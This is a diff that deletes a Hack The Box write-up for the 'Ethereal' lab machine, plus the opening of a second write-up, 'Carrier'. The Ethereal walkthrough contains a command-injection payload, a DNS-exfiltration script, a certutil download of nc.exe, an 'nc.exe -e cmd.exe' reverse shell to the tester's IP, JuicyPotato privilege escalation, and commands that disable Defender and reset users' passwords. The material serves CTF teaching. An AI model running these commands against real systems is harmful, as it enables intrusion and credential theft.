-``` -root@darkisland:~/hackthebox/Machines/Ethereal# nmap -sC -sV -oA ethereal 10.10.10.106 -Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-08 13:35 EDT -Nmap scan report for ethereal.htb (10.10.10.106) -Host is up (0.10s latency). -Not shown: 997 filtered ports -PORT STATE SERVICE VERSION -21/tcp open ftp Microsoft ftpd -| ftp-anon: Anonymous FTP login allowed (FTP code 230) -|_Can't get directory listing: PASV IP 172.16.249.135 is not the same as 10.10.10.106 -| ftp-syst: -|_ SYST: Windows_NT -80/tcp open http Microsoft IIS httpd 10.0 -| http-methods: -|_ Potentially risky methods: TRACE -|_http-server-header: Microsoft-IIS/10.0 -|_http-title: Ethereal -8080/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) -| http-auth: -| HTTP/1.1 401 Unauthorized\x0D -|_ Basic realm=ethereal.htb -|_http-server-header: Microsoft-HTTPAPI/2.0 -|_http-title: 401 - Unauthorized: Access is denied due to invalid credentials. -Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows - -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 38.65 seconds -``` - -### FTP enumeration - -Anonymous access is allowed on the FTP server. - -``` -root@darkisland:~/hackthebox/Machines/Ethereal# ftp 10.10.10.106 -Connected to 10.10.10.106. -220 Microsoft FTP Service -Name (10.10.10.106:root): anonymous -331 Anonymous access allowed, send identity (e-mail name) as password. -Password: -230 User logged in. -Remote system type is Windows_NT. -ftp> ls -200 PORT command successful. -125 Data connection already open; Transfer starting. -07-10-18 10:03PM binaries -09-02-09 09:58AM 4122 CHIPSET.txt -01-12-03 09:58AM 1173879 DISK1.zip -01-22-11 09:58AM 182396 edb143en.exe -01-18-11 12:05PM 98302 FDISK.zip -07-10-18 09:59PM New folder -07-10-18 10:38PM New folder (2) -07-09-18 10:23PM subversion-1.10.0 -11-12-16 09:58AM 4126 teamcity-server-log4j.xml -226 Transfer complete. -``` - -We'll download all the files to our Kali box so it's easier to look at files: - -``` -root@darkisland:~/hackthebox/Machines/Ethereal# wget -r --no-passive ftp://10.10.10.106 ---2018-10-08 13:38:09-- ftp://10.10.10.106/ - => ‘10.10.10.106/.listing’ -Connecting to 10.10.10.106:21... connected. -``` - -### Password manager - -There's a lot of files on the FTP, the interesting one is `FDISK.zip`. - -First, we'll unzip it and determine it's a FAT filesystem. - -``` -root@darkisland:~/hackthebox/Machines/Ethereal/10.10.10.106# unzip FDISK.zip -Archive: FDISK.zip - inflating: FDISK - -root@darkisland:~/hackthebox/Machines/Ethereal/10.10.10.106# file FDISK -FDISK: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "MSDOS5.0", root entries 224, sectors 2880 - (volumes <=32 MB), sectors/FAT 9, sectors/track 18, serial number 0x5843af55, unlabeled, FAT (12 bit), followed by FAT -``` - -After mounting it, we found there's an MS-DOS executable `pbox.exe` file in there. - -``` -root@darkisland:~/hackthebox/Machines/Ethereal/10.10.10.106# mount -t vfat -o loop FDISK /mnt -root@darkisland:~/hackthebox/Machines/Ethereal/10.10.10.106# ls -l /mnt -total 1 -drwxr-xr-x 2 root root 512 Jul 2 19:16 pbox -root@darkisland:~/hackthebox/Machines/Ethereal/10.10.10.106# ls -l /mnt/pbox -total 80 --rwxr-xr-x 1 root root 284 Jul 2 19:05 pbox.dat --rwxr-xr-x 1 root root 81384 Aug 25 2010 pbox.exe - -root@darkisland:~/hackthebox/Machines/Ethereal/10.10.10.106# file /mnt/pbox/pbox.exe -/mnt/pbox/pbox.exe: MS-DOS executable, COFF for MS-DOS, DJGPP go32 DOS extender, UPX compressed -``` - -To run this, we'll use `dosbox` and mount the Kali directory inside MS-DOS. - -``` -root@darkisland:~/hackthebox/Machines/Ethereal/10.10.10.106# cd /mnt/pbox/ -root@darkisland:/mnt/pbox# dosbox -DOSBox version 0.74-2 -Copyright 2002-2018 DOSBox Team, published under GNU GPL. ---- -CONFIG:Loading primary settings from config file /root/.dosbox/dosbox-0.74-2.conf -MIXER:Got different values from SDL: freq 44100, blocksize 512 -ALSA:Can't subscribe to MIDI port (65:0) nor (17:0) -MIDI:Opened device:none -``` - -![](/assets/images/htb-writeup-ethereal/dosbox1.png) - -We are missing a dependency to be able to run pbox.exe - -After a bit of googling, I found the missing dependency: - -![](/assets/images/htb-writeup-ethereal/dosbox2.png) - -``` -root@darkisland:/mnt/pbox# wget http://teadrinker.net/tdold/mr/cwsdpmi.zip ---2018-10-08 13:47:19-- http://teadrinker.net/tdold/mr/cwsdpmi.zip -Resolving teadrinker.net (teadrinker.net)... 46.30.213.33, 2a02:2350:5:100:c840:0:24b2:20fb -Connecting to teadrinker.net (teadrinker.net)|46.30.213.33|:80... connected. -HTTP request sent, awaiting response... 200 OK -Length: 16799 (16K) [application/zip] -Saving to: ‘cwsdpmi.zip’ - -cwsdpmi.zip 100%[=====================================>] 16.41K --.-KB/s in 0.1s - -2018-10-08 13:47:20 (125 KB/s) - ‘cwsdpmi.zip’ saved [16799/16799] - -root@darkisland:/mnt/pbox# unzip cwsdpmi.zip -Archive: cwsdpmi.zip - inflating: CWSDPMI.EXE -``` - -Now we can run the password manager, but it asks for a password. - -![](/assets/images/htb-writeup-ethereal/dosbox3.png) - -The password is easily guessed: `password`, we now have access to all the passwords. - -![](/assets/images/htb-writeup-ethereal/dosbox4.png) - -Found multiple credentials; the only one that is useful is: `!C414m17y57r1k3s4g41n!` - -### Web enumeration - -There's a ton of useless crap and decoys on this box, notably: -- Fake desktop with a troll face & flag -- Fake members login page - -There's an administration page at `http://ethereal.htb:8080/` - -![](/assets/images/htb-writeup-ethereal/web1.png) - -We can log in with: -- username: `alan` -- password: `!C414m17y57r1k3s4g41n!` - -Note: We can guess the username since the name Alan is mentionned in the notes and in some of the password manager entries - -![](/assets/images/htb-writeup-ethereal/web2.png) - -### Command injection using ping page - -We can run commands by adding `&& ` in the command field. - -We can validate we got RCE by pinging ourselves with `127.0.0.1 && ping 10.10.14.23`. - -The first IP is implicitely pinged by the script followed by our injected command after &&: - -``` -root@darkisland:~/hackthebox/Machines/Ethereal# tcpdump -nni tun0 icmp -tcpdump: verbose output suppressed, use -v or -vv for full protocol decode -listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes -14:30:51.029999 IP 10.10.10.106 > 10.10.14.23: ICMP echo request, id 1, seq 39, length 40 -14:30:51.030129 IP 10.10.14.23 > 10.10.10.106: ICMP echo reply, id 1, seq 39, length 40 -14:30:52.046783 IP 10.10.10.106 > 10.10.14.23: ICMP echo request, id 1, seq 40, length 40 -14:30:52.046814 IP 10.10.14.23 > 10.10.10.106: ICMP echo reply, id 1, seq 40, length 40 -``` - -We can't run any other commands like `certutil.exe` or `powershell.exe`, AppLocker is probably enabled on the box. - -However we can exfil some data by using `nslookup`. - -For example, using the payload `127.0.0.1 && nslookup inject 10.10.14.23`, we get can get the box to do a query back to us: - -``` -root@darkisland:~# tcpdump -nni tun0 -vv port 53 -tcpdump: listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes -20:20:16.625986 IP (tos 0x0, ttl 127, id 8724, offset 0, flags [none], proto UDP (17), length 70) - 10.10.10.106.52125 > 10.10.14.23.53: [udp sum ok] 1+ PTR? 23.14.10.10.in-addr.arpa. (42) -20:20:18.652075 IP (tos 0x0, ttl 127, id 8726, offset 0, flags [none], proto UDP (17), length 52) - 10.10.10.106.52126 > 10.10.14.23.53: [udp sum ok] 2+ A? inject. (24) -20:20:20.922359 IP (tos 0x0, ttl 127, id 8727, offset 0, flags [none], proto UDP (17), length 52) - 10.10.10.106.52127 > 10.10.14.23.53: [udp sum ok] 3+ AAAA? inject. (24) -``` - -What we want is to exfil the output of commands, by using the following payload we can start to output some stuff: - -`FOR /F "tokens=1" %g IN 'whoami' do (nslookup %g 10.10.14.23)` - -Output: - -``` -20:30:23.082437 IP (tos 0x0, ttl 127, id 8942, offset 0, flags [none], proto UDP (17), length 58) - 10.10.10.106.63713 > 10.10.14.23.53: [udp sum ok] 2+ A? etherealalan. (30) -``` - -Now, it's not perfect, we can't exfil special characters or anything else that is not a valid character in a DNS query. So in the query above, we can guess that the real output should be `ethereal\alan` instead of `etherealalan`. - -So if we're listing directories, we have to use the /b flag so it only returns the name of the directory/file otherwise we'll need to play with the token parameter to indicate which item to read from the output. - -Another example listing directories: `FOR /F "tokens=1" %g IN 'dir /b c:\users' do (nslookup %g 10.10.14.23)` - -``` -20:35:04.531929 IP (tos 0x0, ttl 127, id 9016, offset 0, flags [none], proto UDP (17), length 70) - 10.10.10.106.53805 > 10.10.14.23.53: [udp sum ok] 1+ PTR? 23.14.10.10.in-addr.arpa. (42) -20:35:06.823075 IP (tos 0x0, ttl 127, id 9017, offset 0, flags [none], proto UDP (17), length 70) - 10.10.10.106.53806 > 10.10.14.23.53: [udp sum ok] 1+ PTR? 23.14.10.10.in-addr.arpa. (42) -20:35:08.851451 IP (tos 0x0, ttl 127, id 9018, offset 0, flags [none], proto UDP (17), length 70) - 10.10.10.106.53807 > 10.10.14.23.53: [udp sum ok] 1+ PTR? 23.14.10.10.in-addr.arpa. (42) -20:35:10.839111 IP (tos 0x0, ttl 127, id 9019, offset 0, flags [none], proto UDP (17), length 59) - 10.10.10.106.53808 > 10.10.14.23.53: [udp sum ok] 2+ A? Administrator. (31) -20:35:12.854740 IP (tos 0x0, ttl 127, id 9020, offset 0, flags [none], proto UDP (17), length 59) - 10.10.10.106.53809 > 10.10.14.23.53: [udp sum ok] 3+ AAAA? Administrator. (31) -20:35:14.895892 IP (tos 0x0, ttl 127, id 9021, offset 0, flags [none], proto UDP (17), length 70) - 10.10.10.106.53810 > 10.10.14.23.53: [udp sum ok] 1+ PTR? 23.14.10.10.in-addr.arpa. (42) -20:35:16.886216 IP (tos 0x0, ttl 127, id 9022, offset 0, flags [none], proto UDP (17), length 50) - 10.10.10.106.53811 > 10.10.14.23.53: [udp sum ok] 2+ A? alan. (22) -20:35:19.474240 IP (tos 0x0, ttl 127, id 9023, offset 0, flags [none], proto UDP (17), length 50) - 10.10.10.106.53812 > 10.10.14.23.53: [udp sum ok] 3+ AAAA? alan. (22) -20:35:21.312568 IP (tos 0x0, ttl 127, id 9025, offset 0, flags [none], proto UDP (17), length 70) - 10.10.10.106.56757 > 10.10.14.23.53: [udp sum ok] 1+ PTR? 23.14.10.10.in-addr.arpa. (42) -20:35:23.309541 IP (tos 0x0, ttl 127, id 9028, offset 0, flags [none], proto UDP (17), length 51) - 10.10.10.106.56758 > 10.10.14.23.53: [udp sum ok] 2+ A? jorge. (23) -20:35:25.299775 IP (tos 0x0, ttl 127, id 9029, offset 0, flags [none], proto UDP (17), length 51) - 10.10.10.106.56759 > 10.10.14.23.53: [udp sum ok] 3+ AAAA? jorge. (23) -20:35:27.338241 IP (tos 0x0, ttl 127, id 9031, offset 0, flags [none], proto UDP (17), length 70) - 10.10.10.106.56760 > 10.10.14.23.53: [udp sum ok] 1+ PTR? 23.14.10.10.in-addr.arpa. (42) -20:35:29.355372 IP (tos 0x0, ttl 127, id 9032, offset 0, flags [none], proto UDP (17), length 52) - 10.10.10.106.56761 > 10.10.14.23.53: [udp sum ok] 2+ A? Public. (24) -20:35:31.523795 IP (tos 0x0, ttl 127, id 9034, offset 0, flags [none], proto UDP (17), length 52) - 10.10.10.106.56762 > 10.10.14.23.53: [udp sum ok] 3+ AAAA? Public. (24) -20:35:33.646114 IP (tos 0x0, ttl 127, id 9035, offset 0, flags [none], proto UDP (17), length 70) - 10.10.10.106.56763 > 10.10.14.23.53: [udp sum ok] 1+ PTR? 23.14.10.10.in-addr.arpa. (42) -20:35:35.669198 IP (tos 0x0, ttl 127, id 9038, offset 0, flags [none], proto UDP (17), length 51) - 10.10.10.106.58924 > 10.10.14.23.53: [udp sum ok] 2+ A? rupal. (23) -20:35:37.681147 IP (tos 0x0, ttl 127, id 9040, offset 0, flags [none], proto UDP (17), length 51) - 10.10.10.106.58925 > 10.10.14.23.53: [udp sum ok] 3+ AAAA? rupal. (23) -``` - -We just listed `c:\users` and found the following directories: - -- c:\users\Administrator -- c:\users\alan -- c:\users\jorge -- c:\users\rupal - -Doing things manually takes a long time so I started working on a python script to automate the process. [Overcast](https://www.hackthebox.eu/home/users/profile/9682) [[Blog](https://www.justinoblak.com/)] was also working on the box and was one step ahead of me. He shared with me a script he had already created. - -```python -#!/usr/bin/python3 - -from socket import * -from requests_futures.sessions import FuturesSession -import time -import select - - -s = socket(AF_INET, SOCK_DGRAM) -s.settimeout(10) -s.bind(('10.10.14.23', 53)) - -def recv(): - print("[+] Receiving data:") - try: - while True: - data = s.recv(1024) - if data[1] == 2: # A record - print(data[13:-5]) - except Exception as e: - print(e) - print("[!] Done") - return - -def send(cmd, col): - session = FuturesSession() - session.post("http://ethereal.htb/p1ng/", data= - { - "__VIEWSTATE": "/wEPDwULLTE0OTYxODU3NjhkZD0G/ny1VOoO1IFda8cKvyAZexSk+Y22QbXBRP0gxbre", - "__VIEWSTATEGENERATOR": "A7095145", - "__EVENTVALIDATION": "/wEdAAOZvFNfMAAnpqKRCMR2SHn/4CgZUgk3s462EToPmqUw3OKvLNdlnDJuHW3p+9jPAN/siIFmy9ZoaWu7BT0ak0x7Uttp88efMu6vUQ1geHQSWQ==", - "search": f"127.0.0.1 && FOR /F \"tokens={col}\" %g IN ('{cmd}') do (nslookup %g 10.10.14.23)", - "ctl02": "" - }, - proxies={"http": "127.0.0.1:8080"}) - -def shell(): - while 1: - cmd = input("$> ") - if cmd == "exit": - s.close() - exit() - else: - col = input("(col#)> ") - if col == '': - col = 1 - else: - col = int(col) - send(cmd, col) - recv() - -if __name__ == '__main__': - shell() -``` - -We still need to mess with the token parameter when we have output with spaces in it, but it make things but more manageable. - -**whoami** -``` -root@darkisland:~/hackthebox/Machines/Ethereal# ./exfil_alan.py -$> whoami -(col#)> -[+] Receiving data: -b'etherealalan' -``` - -**dir c:\users\alan** -``` -$> dir /b c:\users\alan -(col#)> -[+] Receiving data: -b'Contacts' -b'Desktop' -b'Documents' -b'Downloads' -b'Favorites' -b'Links' -b'Music' -b'Pictures' -b'Saved' -b'Searches' -b'Videos' -``` - -**dir c:\users\alan\desktop** -``` -$> dir /b c:\users\alan\desktop -(col#)> -[+] Receiving data: -b'note-draft\x03txt' -``` - -Too bad, there's no flag... let's keeping looking. - -**dir c:\inetpub\wwwroot** -``` -$> dir /b c:\inetpub\wwwroot -(col#)> -[+] Receiving data: -b'corp' -b'default\x04aspx' -b'p1ng' -timed out -``` - -Interesting, there's a directory `p1ng`, let's check check it out: - -![](/assets/images/htb-writeup-ethereal/web3.png) - -Wow, so we didn't even need the credentials from the password manager have we known this hidden path. - -I got really stuck at this point and spent the next several hours trying to find ways to get a proper shell, or find hidden files that would allow me to get unstuck. I didn't get far until at some point after I had switched the path invoked by the script to use the unauthenticated page on port 80, I realized that the `whoami` output I was now getting was different. - -``` -root@darkisland:~/hackthebox/Machines/Ethereal# ./exfil_iis.py -$> whoami -(col#)> -[+] Receiving data: -b'iis' -``` - -Ok, so the webserver on port 80 is not running with the same user as port 8080. - -After wasting a few more hours, I realized that AppLocker isn't enabled for user `IIS`. I suspected that the outbound ports on the box would be firewalled so I used a boolean blind approach to test various commands. The following payload will ping my machine only if the preceding command has been successfully executed: `127.0.0.1 && whoami && ping 10.10.14.23`. - -To test this, I first tried a command that I know will work: `127.0.0.1 && whoami && ping 10.10.14.23` - -``` -root@darkisland:~# tcpdump -nni tun0 icmp -tcpdump: verbose output suppressed, use -v or -vv for full protocol decode -listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes -21:02:19.817657 IP 10.10.10.106 > 10.10.14.23: ICMP echo request, id 1, seq 63, length 40 -21:02:19.817712 IP 10.10.14.23 > 10.10.10.106: ICMP echo reply, id 1, seq 63, length 40 -21:02:20.777578 IP 10.10.10.106 > 10.10.14.23: ICMP echo request, id 1, seq 64, length 40 -21:02:20.777608 IP 10.10.14.23 > 10.10.10.106: ICMP echo reply, id 1, seq 64, length 40 -21:02:21.768882 IP 10.10.10.106 > 10.10.14.23: ICMP echo request, id 1, seq 65, length 40 -21:02:21.768933 IP 10.10.14.23 > 10.10.10.106: ICMP echo reply, id 1, seq 65, length 40 -21:02:22.919376 IP 10.10.10.106 > 10.10.14.23: ICMP echo request, id 1, seq 66, length 40 -21:02:22.919408 IP 10.10.14.23 > 10.10.10.106: ICMP echo reply, id 1, seq 66, length 40 -``` - -We are getting pinged so it means the command was executed correctly. - -Next, our target is `certutil.exe` so we can use it to download files. - -First, I tested locally on my Windows machine if running certutil.exe without parameters returns a successful error code. I wanted to do this because I suspected there was an outbound firewall blocking some most ports. - -![](/assets/images/htb-writeup-ethereal/boolean1.png) - -Then I verified that certutil.exe is not blocked now that we are running as IIS: `127.0.0.1 && certutil.exe && ping 10.10.14.23`. - -``` -21:06:30.214884 IP 10.10.10.106 > 10.10.14.23: ICMP echo request, id 1, seq 71, length 40 -21:06:30.214912 IP 10.10.14.23 > 10.10.10.106: ICMP echo reply, id 1, seq 71, length 40 -21:06:31.286151 IP 10.10.10.106 > 10.10.14.23: ICMP echo request, id 1, seq 72, length 40 -21:06:31.286182 IP 10.10.14.23 > 10.10.10.106: ICMP echo reply, id 1, seq 72, length 40 -``` - -We're getting pinged so the certutil.exe command didn't error out. - -While previously looking at the files and programs on the box, I found `c:\program files (x86)\OpenSSL-v1.1.0\bin\openssl.exe"` installed (and it wasn't AppLocked for `alan` user either), so I used this to establish outbound sockets. - -I modified the existing script to scan for the first 200 ports: - -```python - for i in range(1, 200): - time.sleep(2.5) - cmd = "\"c:\\program files (x86)\\OpenSSL-v1.1.0\\bin\\openssl.exe\" s_client -host 10.10.14.23 -port {}".format(str(i)) - print(cmd) - send(cmd, 1) -``` - -I used Wireshark to look for incoming SYN packets and started the scan. - -``` -root@darkisland:~/hackthebox/Machines/Ethereal# ./scanport.py -[...] -"c:\program files (x86)\OpenSSL-v1.1.0\bin\openssl.exe" s_client -host 10.10.14.23 -port 72 -"c:\program files (x86)\OpenSSL-v1.1.0\bin\openssl.exe" s_client -host 10.10.14.23 -port 73 -"c:\program files (x86)\OpenSSL-v1.1.0\bin\openssl.exe" s_client -host 10.10.14.23 -port 74 -"c:\program files (x86)\OpenSSL-v1.1.0\bin\openssl.exe" s_client -host 10.10.14.23 -port 75 -[...] -"c:\program files (x86)\OpenSSL-v1.1.0\bin\openssl.exe" s_client -host 10.10.14.23 -port 135 -"c:\program files (x86)\OpenSSL-v1.1.0\bin\openssl.exe" s_client -host 10.10.14.23 -port 136 -"c:\program files (x86)\OpenSSL-v1.1.0\bin\openssl.exe" s_client -host 10.10.14.23 -port 137 -"c:\program files (x86)\OpenSSL-v1.1.0\bin\openssl.exe" s_client -host 10.10.14.23 -port 138 -``` - -From the pcap, I identified inbound connections on port 73 and 136. - -![](/assets/images/htb-writeup-ethereal/wireshark.png) - -Now, we just need to get netcat uploaded to the server and try to get a proper shell. - -First, let's start an HTTP listener on port 73 to host nc.exe, then issue `certutil.exe -urlcache -split -f http://10.10.14.23:73/nc.exe c:\users\public\desktop\shortcuts\nc.exe` - -And finally, spawn a netcat connection with `c:\users\public\desktop\shortcuts\nc.exe -e cmd.exe 10.10.14.23 136` - -We finally got a shell! - -![](/assets/images/htb-writeup-ethereal/shell1.png) - -### Privesc - -Our IIS user has `SeImpersonatePrivilege` so we can probably do Rotten Potato. - -``` -c:\windows\system32\inetsrv>whoami -iis apppool\defaultapppool - -c:\windows\system32\inetsrv>whoami /priv - -PRIVILEGES INFORMATION ----------------------- - -Privilege Name Description State -============================= ========================================= ======== -SeAssignPrimaryTokenPrivilege Replace a process level token Disabled -SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled -SeAuditPrivilege Generate security audits Disabled -SeChangeNotifyPrivilege Bypass traverse checking Enabled -SeImpersonatePrivilege Impersonate a client after authentication Enabled -SeCreateGlobalPrivilege Create global objects Enabled -SeIncreaseWorkingSetPrivilege Increase a process working set Disabled -``` - -I used Juicy Potato from Decoder. - -``` -c:\windows\system32\inetsrv>cd \users\public -cd \users\public - -c:\Users\Public>cmd /c certutil.exe -urlcache -split -f http://10.10.14.23:73/JuicyPotato.exe JuicyPotato.exe - -10/10/2018 02:40 AM . -10/10/2018 02:40 AM .. -06/25/2018 03:51 PM Documents -07/03/2018 10:25 PM Downloads -10/10/2018 02:40 AM 347,648 JuicyPotato.exe -07/16/2016 02:23 PM Music -07/16/2016 02:23 PM Pictures -07/16/2016 02:23 PM Videos -``` - -Execute it, spawning yet another netcat: - -``` -c:\Users\Public>JuicyPotato -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\shortcuts\nc.exe -e cmd.exe 10.10.14.23 73" -t * -JuicyPotato -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\shortcuts\nc.exe -e cmd.exe 10.10.14.23 73" -t * -Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337 -...... -[+] authresult 0 -{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM - -[+] CreateProcessWithTokenW OK - -c:\Users\Public> -``` - -We got a shell as `nt authority\system`! - -``` -root@darkisland:~/hackthebox/Machines/Ethereal# nc -lvnp 73 -listening on [any] 73 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.106] 49877 -Microsoft Windows [Version 10.0.14393] -(c) 2016 Microsoft Corporation. All rights reserved. - -C:\Windows\system32>whoami -whoami -nt authority\system - -C:\Windows\system32> -``` - -Strange... we don't have read access to the flags even though we are SYSTEM: - -``` -C:\Windows\system32>cd \users\jorge\desktop -cd \users\jorge\desktop - -C:\Users\jorge\Desktop>dir -dir - Volume in drive C has no label. - Volume Serial Number is FAD9-1FD5 - - Directory of C:\Users\jorge\Desktop - -07/08/2018 11:20 PM . -07/08/2018 11:20 PM .. -07/04/2018 10:18 PM 32 user.txt - 1 File(s) 32 bytes - 2 Dir(s) 15,231,598,592 bytes free - -C:\Users\jorge\Desktop>type user.txt -type user.txt -Access is denied. -``` - -Looking at the flags, we see that the file is encrypted: - -``` -PS C:\users\jorge\desktop> get-itemproperty -path user.txt | Format-list -Property * -get-itemproperty -path user.txt | Format-list -Property * - - -PSPath : Microsoft.PowerShell.Core\FileSystem::C:\users\jorge\deskto - p\user.txt -PSParentPath : Microsoft.PowerShell.Core\FileSystem::C:\users\jorge\deskto - p -PSChildName : user.txt -[...] -Attributes : Archive, Encrypted -``` - -Same thing for the root.txt file in `c:\users\rupal\desktop\root.txt` - -I found some cert and private key files on the D: drive - -``` -PS D:\certs> dir - - - Directory: D:\certs - - -Mode LastWriteTime Length Name ----- ------------- ------ ---- --a---- 7/1/2018 10:26 PM 772 MyCA.cer --a---- 7/1/2018 10:26 PM 1196 MyCA.pvk -``` - -I thought of googling for ways to recover EFS encrypted files but instead I just YOLOed it: - -Attack plan: - -- Disable Windows Defender -- Disable Firewall -- Change Rupal and Jorge's passwords -- RDP in and steal their shit - -``` -PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true - -PS C:\> NetSh Advfirewall set allprofiles state off -Ok. - -PS C:\> net users rupal Yoloed1234! -net users rupal Yoloed1234! -The command completed successfully. - -PS C:\> net users jorge Yoloed1234! -net users jorge Yoloed1234! -The command completed successfully. -``` - -Sweet, RDP is already running, no need to enable it: - -``` -PS C:\> netstat -an -netstat -an - -Active Connections - - Proto Local Address Foreign Address State - TCP 0.0.0.0:21 0.0.0.0:0 LISTENING - TCP 0.0.0.0:80 0.0.0.0:0 LISTENING - TCP 0.0.0.0:135 0.0.0.0:0 LISTENING - TCP 0.0.0.0:445 0.0.0.0:0 LISTENING - TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING -``` - -At last, we can RDP and get the flags!! - -![](/assets/images/htb-writeup-ethereal/jorge.png) - -![](/assets/images/htb-writeup-ethereal/rupal.png) \ No newline at end of file diff --git a/_posts/2019-03-16-htb-writeup-carrier.md b/_posts/2019-03-16-htb-writeup-carrier.md deleted file mode 100644 index f9309e6ac6..0000000000 --- a/_posts/2019-03-16-htb-writeup-carrier.md +++ /dev/null @@ -1,360 +0,0 @@ ---- -layout: single -title: Carrier - Hack The Box -excerpt: This is the writeup for Carrier, a Linux machine I created for Hack the Box requiring some networking knowledge to perform MITM with BGP prefix hijacking. -date: 2019-03-16 -classes: wide -header: - teaser: /assets/images/htb-writeup-carrier/carrier_logo.png -categories: - - hackthebox - - infosec -tags: - - networking - - lxc - - containers - - bgp - - command injection - - php - - snmp - - mitm ---- - -![](/assets/images/htb-writeup-carrier/carrier_logo.png) - -I had the idea for creating Carrier after competing at the [NorthSec CTF](https://nsec.io/competition/) last year where there was a networking track that required the players to gain access to various routers in the network. I thought of re-using the same concept but add a MITM twist to it with BGP prefix hijacking. My initial version was much more complex and had DNS response poisoning in it. I eventually scaled it down because one part required using Scapy to craft packets from one of the container and I wasn't sure if it'd work reliably with hundreds of people on the EU-Free server. I also didn't want to lock people into using a specific tool or library from the container so I scrapped that part of Carrier. - -I tried to make the box somewhat realistic. It simulates some kind of network management & ticketing system written in PHP. There is an online PDF manual that contains the description of some of the error codes displayed on the main page. Like many network devices, it contains a default SNMP community string `public` that allow users to query MIBs from the device, including the serial number used to log into the system. From there, there's a trivial command injection that allow access to one of the ISP router. - -For the priv esc, I wanted to do something different so I used LXC containers to run 3 different routers, each simulating a different ISP with its own autonomous system number. Normally, ISPs should have policies in place to restrict what routes can be sent from a neighboring ISP. In this case, no such policies are configured and we can inject any route we want from AS100 where we have a foothold. To get the root flag, we need to sniff the FTP credentials of a user connecting to a remote server in AS300. I put a hint for the server IP in the ticket section of the website so people would have an idea what to do. - -The "intended solution" for this box was to inject a better route in the BGP table to redirect traffic through the R1 router where we could run a tcpdump capture and get the credentials. There's a couple of ways to do that but injecting a more specific route is probably the simplest solution. We can't just inject the more specific route and intercept the traffic because that same route is re-advertised from AS200 to AS300 and the later will insert the more specific route in its RIB. Even though AS300 is directly connect to 10.120.15.10, it won't use the /24 from the local interface but instead prefer the more specific route coming from AS200 and cause the packets to loop between the two routers. - -The BGP routing protocol defines various "well-known" community attributes that must be supported by a BGP implementation. In this case, what we want to do is tell AS200 to send traffic to us but also tell it *not* to re-advertise the more specific route down to AS300. [RFC1997](https://tools.ietf.org/html/rfc1997) defines some of the standard attributes such as: - -``` -NO_EXPORT (0xFFFFFF01) - All routes received carrying a communities attribute - containing this value MUST NOT be advertised outside a BGP - confederation boundary (a stand-alone autonomous system that - is not part of a confederation should be considered a - confederation itself). -``` - -Using a route-map in the quagga's Cisco-like CLI (vtysh), we can "tag" the routes sent to AS200 with the `no-export` policy and prevent the upstream router from re-advertising the route elsewhere. We also need to filter out that same route towards AS300 because we don't want AS300 to insert the /25 route in its RIB. - -I think most people solved the box the easy way (nothing wrong with that) by changing the IP address of one of the interface on the R1 container and impersonate the FTP server to catch the connection from the FTP client and get the credentials. That further reinforces the point that not only is crypto important but verifying the identity of the server also is. Using only BGP route manipulation, it is possible to intercept the FTP session without changing any IP on the container. - -## Quick summary - -- The `/doc` directory on the webserver has indexing enabled and contains documentation for the error codes on the login page -- SNMP is configuration with the default `public` community string that allow us to retrieve the serial number of the box -- One of the error code on the main page indicates that the password hasn't been changed and that the serial number should be used to log in -- There's a hint on the ticket section of the webpage about an important server that we should get access to -- The diagnostic section of the web page contains a command injection vulnerability that we can use to gain RCE -- From the R1 router (container), we can perform a MITM attack by injecting a more specific route in the BGP table -- We then intercept an FTP session and recover the credentials that let us log in as root and recover `root.txt` - -## Detailed steps - -### Portscan - -We'll start by the standard nmap and find that there's only two ports open on the server. - -``` -root@violentunicorn:~# nmap -sC -sV -p- 10.10.10.105 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-12 01:46 EDT -Nmap scan report for 10.10.10.105 -Host is up (0.010s latency). -Not shown: 65532 closed ports -PORT STATE SERVICE VERSION -21/tcp filtered ftp -22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 2048 15:a4:28:77:ee:13:07:06:34:09:86:fd:6f:cc:4c:e2 (RSA) -| 256 37:be:de:07:0f:10:bb:2b:b5:85:f7:9d:92:5e:83:25 (ECDSA) -|_ 256 89:5a:ee:1c:22:02:d2:13:40:f2:45:2e:70:45:b0:c4 (ED25519) -80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) -| http-cookie-flags: -| /: -| PHPSESSID: -|_ httponly flag not set -|_http-server-header: Apache/2.4.18 (Ubuntu) -|_http-title: Login -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel - -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 19.09 seconds -``` - -### Web enumeration - -There's a login page for some web application (this is a monitoring/ticketing system for a fictitious ISP). - -There are no default credentials or SQLi on this page. - -The error codes are interesting but we don't know what they are yet (more on that later). - -![Login page](/assets/images/htb-writeup-carrier/login.png) - -Using gobuster, we find a couple of directories: - -``` -root@ragingunicorn:~# gobuster -w /usr/share/dirb/wordlists/small.txt -t 10 -u 10.10.10.105 - -===================================================== -Gobuster v2.0.0 OJ Reeves (@TheColonial) -===================================================== -[+] Mode : dir -[+] Url/Domain : http://10.10.10.105/ -[+] Threads : 10 -[+] Wordlist : /usr/share/dirb/wordlists/small.txt -[+] Status codes : 200,204,301,302,307,403 -[+] Timeout : 10s -===================================================== -2019/03/12 01:47:12 Starting gobuster -===================================================== -/css (Status: 301) -/debug (Status: 301) -/doc (Status: 301) -/img (Status: 301) -/js (Status: 301) -/tools (Status: 301) -===================================================== -2019/03/12 01:47:13 Finished -===================================================== -``` - -The `/debug` directory is just a link to phpinfo() - 